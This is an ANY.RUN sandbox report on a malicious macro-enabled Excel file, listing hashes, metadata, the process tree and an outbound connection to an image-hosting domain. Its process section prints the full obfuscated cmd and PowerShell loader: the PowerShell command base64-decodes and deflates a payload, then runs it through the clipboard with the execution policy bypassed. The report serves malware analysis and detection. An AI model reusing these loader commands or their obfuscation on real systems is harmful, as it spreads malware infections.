analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

italia.xlsm

Full analysis: https://app.any.run/tasks/8fe1bf3e-3bc7-4d0a-b51b-d0afd39cfb1f
Verdict: Malicious activity
Analysis date: December 14, 2018, 07:21:53
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
generated-doc
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

8E779EA59E563ADA844E94E0ECB45185

SHA1:

AD853BF617D5431411182F05F60D7E44ED20987A

SHA256:

0A6D898C02556A0A7F72115D08889CC0BB56380C16B976EFF09BE40BAD171813

SSDEEP:

384:HeIQMB/mqXLvNKIuKaWNA57AORpy3hXXtQB5IEKHC/qHTuy29MIhHCzrzEp:+BMB/pXbNKIuKagq7AOR2JXtQMhIc52v

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 1236)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3472)

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 3472)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • CmD.exe (PID: 4020)
      • cmd.exe (PID: 3116)

    • Application launched itself

      • CmD.exe (PID: 4020)

    • Creates files in the user directory

      • powershell.exe (PID: 3392)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3472)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3392)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (50.8)
.xlsx | Excel Microsoft Office Open XML Format document (30)
.zip | Open Packaging Conventions container (15.4)
.zip | ZIP compressed archive (3.5)

EXIF

XML

AppVersion: 16.03
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
Company: -
TitlesOfParts: Tabelle1
HeadingPairs:
  • Arbeitsblätter
  • 1
ScaleCrop: No
DocSecurity: None
Application: Microsoft Excel
TotalEditTime: -
ModifyDate: 2018:12:14 07:21:39Z
CreateDate: 2018:12:14 07:20:38Z
LastModifiedBy: Denis Waibel

XMP

Creator: Denis Waibel

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1087
ZipCompressedSize: 367
ZipCRC: 0x513599ac
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs clip.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
3472"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
4020CmD /V:ON/C "set 7T=oMPResSIoNmODe]::""D`EcO`Mpr`&&set fXO9=`m`pR&&set lM='Uauer5J/QU&&set OJo=3rTzG&&set J3=t',(\""{0}&&set du4k=jNexb&&set xCZA=Ii"") } ^^^^^^^^&&set dq=IUjPSU&&set PF=qQeg9FrB&&set 7w=""&&set 54K=\""( )) ) ; [Sy&&set Jx19=UsJo7','4d7&&set 6jA=`&&set q3FQ=-nO&&set wFhV=keacV&&set Op=0}\"" -&&set FI=8}{6}&&set p5=r`eadt&&set a3=Rd3b1&&set MZ=`Home}[&&set 3mr=f 'dd-T',&&set KGUu=pZragUZRw9kIMJM','nf6yvfeRHwys&&set g9R=DDTwyngbQW6fTbNBM9T6eN3+Vxy'&&set sGDZ=FOv&&set 34f=SSiO&&set 3kP=UNemw2mO&&set M76=SUw2&&set jvc=i6Wr0yJa+CgVQ64wlYgUsz&&set qXy=VB&&set 87kx=oJOLevLKG&&set mti=6&&set md=NAYbUP7/Ckr6Xm50gK6GznraOgpWOzyzU/Op5&&set W39h=11Hy&&set fQN=oM2&&set Igd=-f'yp','e',( \""{1}{&&set qK=Ro5A5SnpE3C/') &&set vJIZ=oBjECT') &&set Vkgt=ki6','U+ZEre4WJW&&set AXSR=','R','eaCH') {.(""{0}{1}{2}""-f 'n&&set ksNm=SMUVYAd&&set dn=ld0v',&&set M3hU=stem.Windows&&set kmP='k',&&set 6x=FFQB2enJqIYc&&set 6In=IBG','&&set KcOP=)&&set wpf='A' ) ) -As ( \""{3}{1}{0}{4}{2}\"" -f 'nta','ese',( \""&&set k2G=Fcgjp5&&set y41=RGJGLLoPE1&&set dAs=49}{7}{51}{5}{2&&set sBW=uCbCLFi5BuJ&&set xZ=bl5RXj&&set FD=1CerMt7ONo0c','q','oSU&&set i9PL=;.&&set sD=6hkJYL&&set 96f=S"" )^^^^^^^^^^^^^^^|.(""{0}{1}{&&set fH=tiONP&&set JF=ao&&set RO=YlN&&set GrLY=zZ','&&set yMaD=o5&&set XeL=}{1&&set L4=Ui&&set Yu=xW4i57aY&&set AG=js5R6Eb08Ls3','bxS&&set gS=ZL89PzDtI&&set 2JBb=14}{&&set qpO=-w 1 -nopR -sta -ExEcU&&set S1=d1KdrFAH&&set 5c=RN3RKBBV9ZXsjbAx8rLF&&set VZA=Vy7l4Jxf&&set M93h=gb&&set po=oL &&set i8=-f 'InG','TOS','Tr').\""IN`VOkE\""(&&set 7wv=u&&set aLve='),'Pr','t'&&set rdfX=43&&set ld=6}&&set 97tN=e8&&set JNvz=7+F','xvUjxS&&set Pj=M&&set J6=W&&set MTk=4&&set XjK=7ooYCqFO5CUzUMaaw92FK','WF&&set fWO4=OdQrtlwhW0wsc7/TRio00qZdd5&&set RLj=bR&&set mC=y3ANhm&&set 5m=E5C3FlV6&&set ibgE=FAmCFN0Ol&&set quG=nG""((""{22}{44}{11}&&set 79=P&&set pIA=2Edc7LZcTpp&&set QEdm=D4Xj&&set vrWE= ${vErb`o`sE&&set WMP='&&set mOv=25}{21}{28}{37}{40&&set kEQz='&&set JaD=qasUyJ1dKYY+V0F&&set fV=.text.ENcOdING]::""AS`C&&set Pb={1}\""&&set LHM=v&&set pw8t=GaxGO/xX1CYmTXt&&set 7y=I7&&set XT=s&&set yV=uo&&set QD=i6SO&&set iWT=]::""F`R`o`MBAse`64Stri&&set qrQ=zfPUPs5JaAFW&&set Dy=0/e&&set 4NX=','jHSOn&&set g3fn=`oE`Nd""( )}&&set RT=xE','C'&&set jB={0}{47}{33}{30}{1}{34}{50}{4}{46}{31&&set 2su=PlkIRSG','fSl+lb0CYnloyxTlthMl6&&set rC=}{29}{9}{&&set 8Y=4&&set 5v=hCdAfH4pl9',&&set xd= )[1,3] &&set 4Y=AefjFQblNcpE4lg&&set 8lU=','ejG/pwf4EiFPQC3Y&&set Oo=yo2dMx&&set WxJY=+ 'x'-JoiN'' )( ( [S&&set Mcz=L&&set Wyh=QbYcFAGfmhTt/WAKoZjvt5XsB/HY&&set 6p=Xa/O6smRbnn','32O&&set 3O7I=LkcB'&&set JtM=LdXzlH5AiqodnkybHbbbrH&&set LK='0Lv6L&&set pD=10}"" -f '&&set gqy= -f 'eX','t','eTt' )).\&&set 6LrC=Ystem.w&&set xQV='g',( \""{2}{0}{1}\""&&set 9CU='xL1w032cbz&&set Y27=LRcf487TKv0QauRlD9be1uKl&&set DAk=}{48&&set k1W=T&&set GZJ1=inD&&set oh= IO.`&&set XB=a6P&&set kG=6f&&set fUI=bMjUo673DHHJu8i','&&set m2=24}{2}{42}{19}{45}{&&set K7=).\""inVO`kE\""(' ' &&set OrFY=GNTS1+BpbbHL1tF3iYVG&&set PH=cMdBAWkCsFa','LKyC','e0p+w0Bofaf/Lyle2u7B3WVDcyxF4zTu6pwrh&&set wZHB=J&&set MVT3=Brmg4ISxL&&set 21=}{35}&&set 8Ne=+sR8Ei7goBM&&set gi1h=^^^^^^^| ^^^^^^^^^^^^^^^&(""{0}{1}""-f 'f','ORea&&set I3ae=','dHKk2y&&set f8N1=s/pjm5QG+Uw','As&&set RfN=oV','o','oEET',&&set dnk={&&set okc=hdO0fMc1&&set f2=A&&set kNPC=Lyj0hSicUL1suvPnX&&set AqH=4/&&set 8B=\""{2}{&&set At=','e','W-&&set szN=ZEGBZ8L/Vs','Nuj8jM2MH','BlogkZxleJ&&set Vn=.Clipbo&&set S9=ard]::(&&set 2h=IYQSiCG&&set iL=L . (&&set D9nJ=""i`N`V&&set DA= &&set 8zYQ=c&&set oc=H1&&set aEs=hoNLSo&&set gH81=,'&&set ivp=ftK8UuZ5LdqmBaILN&&set ak=IC&&set wAIB=fPnVU0HoT+&&set MNA=E','tN&&set m4={2}{0}{&&set Rd3=wJ'&&set WYi=aFd&&set Fjwh=N.C&&set oD=`AteSTrE`AM( [SYSt&&set SVbw=ALYNhELyiaA1M1&&set aJ=34]+'x')( .(""{1}{0}{&&set Ms1U=by&&set so1T=Pre&&set XVj=w==','1K&&set xlCT=s2DS//e&&set LU0G=B&&set oWS=HNugXUPjnVoGb3bE7e','XWc4t&&set gSCj=D&&set Yzur= &&set opQ=),[sYsTe&&set OdW=oWS.CLiPboaRd]::(&&set Kxc6=Pc+BeNlKIqoxmnaJ&&set ay=NvjPN2m&&set WF=qhsxvF6ggHSAvv&&set 4KVu=( ${pS`h`OmE}[4]&&set 8v1=oKp&&set QMEZ={38}{41}{15}{13}{27&&set v1=0}{1}\"" -f 'e&&set qid=jqwa6Bj','oZEH81Es7&&set 4E0y= [syStEM&&set lwe=40+HZpXFA&&set 7ut= \""{2}{0}{1}\"" &&set F24u=K&&set GWCJ=ver&&set Mh=9HhxiqChyuK&&set ly=A&&set Rn='neW-','jECT') IO.CO&&set Wy=qiY2Jya4B5oLmH&&set lQ=2}&&set Lz=,'bE&&set Sye4=B&&set xzU='GDL&&set jkew=zEJFZG','&&set 7FGL=,'Iz&&set lskm=EcHO/^^^^^^^^^^^^^^^&&&set wyNR=NS1blIorpYOOdplN65rKj&&set Rpm=fA3bUz/Phr&&set Qe=em.io.MEMorYSTREam][sYSte&&set PN=ES&&set 7GBY=BOZV5&&set x58A=efrqnAUABd+h0nPdJvf7SH&&set pN0=xnma7xH&&set xvz=\"" &&set ivU={&&set WIUk= ^^^|cLiP^^^&^^^&cMd /C poweRS&&set K90z=B&&set x0=z+mg7N&&set 2PKZ=n&&set 8o=Xv2h6+XDuwrB2UzD&&set xI=)&&set vl1D=kFtFBYL7hXXHaH&&set JxP5=2NIa13B2VYlABNEyPGpc&&set LG=DdlpSoWp+ZSu2&&set QI=3}{23}{17&&set 4KG1=3JlvvCkqSn&&set w8PF=L/&&set AR= -f 'T','ext' ),'S'&&set Qm=/2+p/&&set fvVc=et&&set qe6u=""-f 'oB',&&set JH3p=CMioW+&&set rxku=X&&set gED=5eVNRxBB&&set aS=P`REf&&set SA=E`ADER( ${&&set xnM= ( &&set g274=f8Zz+ZY201PTp&&set OyI=m.iO.COm&&set lVa=pO&&set LoKD= \""{0}{1}\"" -f&&set SzR4=}{16}{36}&&set OWD=TLR',&&set Dgc=qmjrC1UVHbxna2Y4/jv190zgJ51H4Bmpl+&&set s06=s0uJ8LMG&&set G6=`ereNce}.( \""&&set g1=5kPuHoeb2d4V2DswOgiwNQPKP','pxXg&&set VO=}{12}{&&set MI4=oKe&&set 2w=e4UYmTa','iE5d4E&&set X2=11','PFd/&&set i3qb=nmSUbRKm/4PD&&set Ga0p=c','nzXT87T7FoIHLWcpf8','+BLdfsM1zSOIOn'&&set ogN=/&&set GtO={32}{2&&set ot=m.COn&&set VUnC=dVZtc6JIEP4rXVu5CIsSQKNBKx/&&set Di7W=,'5T8EDISyqRylxGVJpP64&&set Kpm=)&&set iX=tuu&&set AX0i=,'sjp6c&&set 6Ay=1}\""-f 'o','re','ionC&&set P7=Ch'&&set vTb=eH0'&&set MEn9=0}{8}{&&set wJzc=_},&&set gV=+VJA&&set gKQ=GFy3gJKWW&&set yD=H&&set FC0k=+${PS&&set Llu=39}{&&set jyOe=BYPaSS -NOnI &&set 7g=Q&&set RqJz=eLl&&set lW8=2}"" -f 'Fo&&set kIO=t2pO',&&set rcp={1}{2}{0}&&set YB=Ws+KLOl&&set A0yL=,&&set MPf=K1dUB4BJsmJlTTDKH9Nv&&set Oswb=UG&&set xDr=,&&set Rn1P=1J7&&set gSPy='SISLxsB+i0VNzgIu9Pt7eBk&&set WJ=QG8twkm+pRZlcthuqcLf&&set 62=E`sSION`.`deFL&&set Wp=){${_}.""&&set qjC=IRS&&set rSoi=m&&set 3Wz=D26&&set qkN=U&&set 85wf=DiHo0&&set 2U=sTrEA`MR&&set O8N='K5AY3vQIdfy+&&set ax=5Zml5EM9PfzlFGjG&&set rMQ=tw','oyn','9F','IKgTW','CVhh6q5k76fS&&set lG2=sZyTl&&call set QJi=%lskm%%4KVu%%FC0k%%MZ%%aJ%%lQ%%qe6u%%Rn%%fXO9%%62%%oD%%Qe%%ot%%GWCJ%%k1W%%iWT%%quG%%jB%%XeL%%FI%%GtO%%ld%%QMEZ%%DAk%%SzR4%%ivU%%Llu%%dAs%%MEn9%%QI%%21%%dnk%%2JBb%%mOv%%VO%%m2%%rdfX%%rC%%pD%%kIO%%9CU%%PF%%Ga0p%%Lz%%dn%%gSPy%%8Ne%%M76%%5v%%kmP%%O8N%%Rpm%%Kxc6%%ibgE%%F24u%%Ms1U%%97tN%%y41%%md%%LU0G%%Rd3%%AX0i%%X2%%w8PF%%qkN%%xZ%%iX%%OWD%%LK%%XVj%%Dgc%%x58A%%JtM%%Wyh%%qrQ%%WMP%%Di7W%%OJo%%5c%%rSoi%%wyNR%%Mh%%2h%%3O7I%%gH81%%Oswb%%L4%%mti%%Y27%%sBW%%JNvz%%i3qb%%MTk%%79%%7g%%jkew%%JH3p%%I3ae%%sD%%RO%%JF%%Mcz%%Wy%%GrLY%%qjC%%8v1%%4Y%%KGUu%%kG%%yMaD%%8zYQ%%a3%%du4k%%JxP5%%ksNm%%6In%%x0%%YB%%ly%%XT%%ay%%Sye4%%jvc%%fWO4%%pw8t%%XB%%ak%%gV%%kNPC%%f8N1%%gSCj%%dq%%oc%%qXy%%gKQ%%8Y%%6x%%OrFY%%g1%%fUI%%VUnC%%Jx19%%ivp%%85wf%%s06%%Vkgt%%gED%%ax%%M93h%%Qm%%okc%%AG%%W39h%%2w%%4KG1%%fvVc%%87kx%%wZHB%%rxku%%LG%%WJ%%7GBY%%MPf%%lVa%%PH%%4NX%%oWS%%8o%%VZA%%Yu%%gS%%k2G%%Pj%%MNA%%sGDZ%%FD%%5m%%Rn1P%%J6%%RfN%%kEQz%%2su%%pIA%%g9R%%A0yL%%lM%%LHM%%7y%%pN0%%f2%%3kP%%Oo%%SVbw%%WF%%RT%%xDr%%xzU%%AqH%%wFhV%%xlCT%%MVT3%%6p%%mC%%WYi%%qid%%K90z%%QD%%RLj%%8lU%%wAIB%%rMQ%%QEdm%%vl1D%%7wv%%2PKZ%%JaD%%XjK%%vTb%%7FGL%%g274%%lwe%%szN%%aEs%%lG2%%fQN%%S1%%ogN%%3Wz%%yV%%Dy%%qK%%opQ%%OyI%%so1T%%34f%%Fjwh%%7T%%PN%%96f%%lW8%%AXSR%%At%%vJIZ%%oh%%2U%%SA%%wJzc%%4E0y%%fV%%xCZA%%gi1h%%P7%%Wp%%p5%%g3fn%%Kpm%%WIUk%%yD%%RqJz%%Yzur%%qpO%%fH%%po%%jyOe%%q3FQ%%iL%%7ut%%Igd%%Op%%3mr%%wpf%%m4%%6Ay%%aLve%%DA%%xI%%i9PL%%xnM%%vrWE%%6jA%%aS%%G6%%rcp%%xvz%%i8%%xd%%WxJY%%6LrC%%GZJ1%%OdW%%LoKD%%xQV%%gqy%%D9nJ%%MI4%%54K%%M3hU%%Vn%%S9%%8B%%v1%%J3%%Pb%%AR%%K7%%KcOP%&&Cmd /C %QJi:""=!7w:~1!%"C:\Windows\system32\CmD.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3116Cmd /C %QJi:""="%C:\Windows\system32\cmd.exe—CmD.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1580C:\Windows\system32\cmd.exe /S /D /c" EcHO/^&( ${pS`h`OmE}[4]+${PS`Home}[34]+'x')( .("{1}{0}{2}"-f 'oB','neW-','jECT') IO.CO`m`pRE`sSION`.`deFL`AteSTrE`AM( [SYStem.io.MEMorYSTREam][sYStem.COnverT]::"F`R`o`MBAse`64StrinG"(("{22}{44}{11}{0}{47}{33}{30}{1}{34}{50}{4}{46}{31}{18}{6}{32}{26}{38}{41}{15}{13}{27}{48}{16}{36}{39}{49}{7}{51}{5}{20}{8}{3}{23}{17}{35}{14}{25}{21}{28}{37}{40}{12}{24}{2}{42}{19}{45}{43}{29}{9}{10}" -f 't2pO','xL1w032cbzqQeg9FrBc','nzXT87T7FoIHLWcpf8','+BLdfsM1zSOIOn','bEld0v','SISLxsB+i0VNzgIu9Pt7eBk+sR8Ei7goBMSUw2hCdAfH4pl9','k','K5AY3vQIdfy+fA3bUz/PhrPc+BeNlKIqoxmnaJFAmCFN0OlKbye8RGJGLLoPE1NAYbUP7/Ckr6Xm50gK6GznraOgpWOzyzU/Op5BwJ','sjp6c11','PFd/L/Ubl5RXjtuuTLR','0Lv6Lw==','1KqmjrC1UVHbxna2Y4/jv190zgJ51H4Bmpl+efrqnAUABd+h0nPdJvf7SHLdXzlH5AiqodnkybHbbbrHQbYcFAGfmhTt/WAKoZjvt5XsB/HYzfPUPs5JaAFW','5T8EDISyqRylxGVJpP643rTzGRN3RKBBV9ZXsjbAx8rLFmNS1blIorpYOOdplN65rKj9HhxiqChyuKIYQSiCGLkcB','UGUi6LRcf487TKv0QauRlD9be1uKluCbCLFi5BuJ7+F','xvUjxSnmSUbRKm/4PD4PQzEJFZG','CMioW+','dHKk2y6hkJYLYlNaoLqiY2Jya4B5oLmHzZ','IRSoKpAefjFQblNcpE4lgpZragUZRw9kIMJM','nf6yvfeRHwys6fo5cRd3b1jNexb2NIa13B2VYlABNEyPGpcSMUVYAdIBG','z+mg7NWs+KLOlAsNvjPN2mBi6Wr0yJa+CgVQ64wlYgUszOdQrtlwhW0wsc7/TRio00qZdd5GaxGO/xX1CYmTXta6PIC+VJALyj0hSicUL1suvPnXs/pjm5QG+Uw','AsDIUjPSUH1VBGFy3gJKWW4FFQB2enJqIYcGNTS1+BpbbHL1tF3iYVG5kPuHoeb2d4V2DswOgiwNQPKP','pxXgbMjUo673DHHJu8i','dVZtc6JIEP4rXVu5CIsSQKNBKx/UsJo7','4d7ftK8UuZ5LdqmBaILNDiHo0s0uJ8LMGki6','U+ZEre4WJW5eVNRxBB5Zml5EM9PfzlFGjGgb/2+p/hdO0fMc1js5R6Eb08Ls3','bxS11Hye4UYmTa','iE5d4E3JlvvCkqSnetoJOLevLKGJXDdlpSoWp+ZSu2QG8twkm+pRZlcthuqcLfBOZV5K1dUB4BJsmJlTTDKH9NvpOcMdBAWkCsFa','LKyC','e0p+w0Bofaf/Lyle2u7B3WVDcyxF4zTu6pwrh','jHSOnHNugXUPjnVoGb3bE7e','XWc4tXv2h6+XDuwrB2UzDVy7l4JxfxW4i57aYZL89PzDtIFcgjp5ME','tNFOv1CerMt7ONo0c','q','oSUE5C3FlV61J7WoV','o','oEET','PlkIRSG','fSl+lb0CYnloyxTlthMl62Edc7LZcTppDDTwyngbQW6fTbNBM9T6eN3+Vxy','Uauer5J/QUvI7xnma7xHAUNemw2mOyo2dMxALYNhELyiaA1M1qhsxvF6ggHSAvvxE','C','GDL4/keacVs2DS//eBrmg4ISxLXa/O6smRbnn','32Oy3ANhmaFdjqwa6Bj','oZEH81Es7Bi6SObR','ejG/pwf4EiFPQC3YfPnVU0HoT+tw','oyn','9F','IKgTW','CVhh6q5k76fSD4XjkFtFBYL7hXXHaHunqasUyJ1dKYY+V0F7ooYCqFO5CUzUMaaw92FK','WFeH0','Izf8Zz+ZY201PTp40+HZpXFAZEGBZ8L/Vs','Nuj8jM2MH','BlogkZxleJhoNLSosZyTloM2d1KdrFAH/D26uo0/eRo5A5SnpE3C/') ),[sYsTem.iO.COmPreSSiON.CoMPResSIoNmODe]::"D`EcO`Mpr`ESS" )^|.("{0}{1}{2}" -f 'Fo','R','eaCH') {.("{0}{1}{2}"-f 'n','e','W-oBjECT') IO.`sTrEA`MRE`ADER( ${_}, [syStEM.text.ENcOdING]::"AS`CIi") } ^| ^&("{0}{1}"-f 'f','OReaCh'){${_}."r`eadt`oE`Nd"( )}) "C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2700cLiPC:\Windows\system32\clip.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Clip - copies the data into clipboard
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1236cMd /C poweRSHeLl -w 1 -nopR -sta -ExEcUtiONPoL BYPaSS -NOnI -nOL . ( \"{2}{0}{1}\" -f'yp','e',( \"{1}{0}\" -f 'dd-T','A' ) ) -As ( \"{3}{1}{0}{4}{2}\" -f 'nta','ese',( \"{2}{0}{1}\"-f 'o','re','ionC'),'Pr','t' );. ( ${vErb`o`sE`P`REf`ereNce}.( \"{1}{2}{0}\" -f 'InG','TOS','Tr').\"IN`VOkE\"( )[1,3] + 'x'-JoiN'' )( ( [SYstem.winDoWS.CLiPboaRd]::( \"{0}{1}\" -f'g',( \"{2}{0}{1}\" -f 'eX','t','eTt' )).\"i`N`VoKe\"( )) ) ; [System.Windows.Clipboard]::(\"{2}{0}{1}\" -f 'et',(\"{0}{1}\" -f 'T','ext' ),'S').\"inVO`kE\"(' ' )C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3392poweRSHeLl -w 1 -nopR -sta -ExEcUtiONPoL BYPaSS -NOnI -nOL . ( \"{2}{0}{1}\" -f'yp','e',( \"{1}{0}\" -f 'dd-T','A' ) ) -As ( \"{3}{1}{0}{4}{2}\" -f 'nta','ese',( \"{2}{0}{1}\"-f 'o','re','ionC'),'Pr','t' );. ( ${vErb`o`sE`P`REf`ereNce}.( \"{1}{2}{0}\" -f 'InG','TOS','Tr').\"IN`VOkE\"( )[1,3] + 'x'-JoiN'' )( ( [SYstem.winDoWS.CLiPboaRd]::( \"{0}{1}\" -f'g',( \"{2}{0}{1}\" -f 'eX','t','eTt' )).\"i`N`VoKe\"( )) ) ; [System.Windows.Clipboard]::(\"{2}{0}{1}\" -f 'et',(\"{0}{1}\" -f 'T','ext' ),'S').\"inVO`kE\"(' ' )C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
927
Read events
821
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
3472EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRA54C.tmp.cvr —
MD5:—
SHA256:—
3392powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\47SO5WICORZEWDKN429X.temp —
MD5:—
SHA256:—
3392powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1618dc.TMPbinary
MD5:0C1DAA668BA499584B0AC7476368101E
SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA
3392powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:0C1DAA668BA499584B0AC7476368101E
SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3392
powershell.exe
66.254.122.104:443
images2.imgbox.com
Reflected Networks, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
images2.imgbox.com
  • 66.254.122.104
  • 66.254.122.100
  • 66.254.122.102
shared

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
italia.xlsm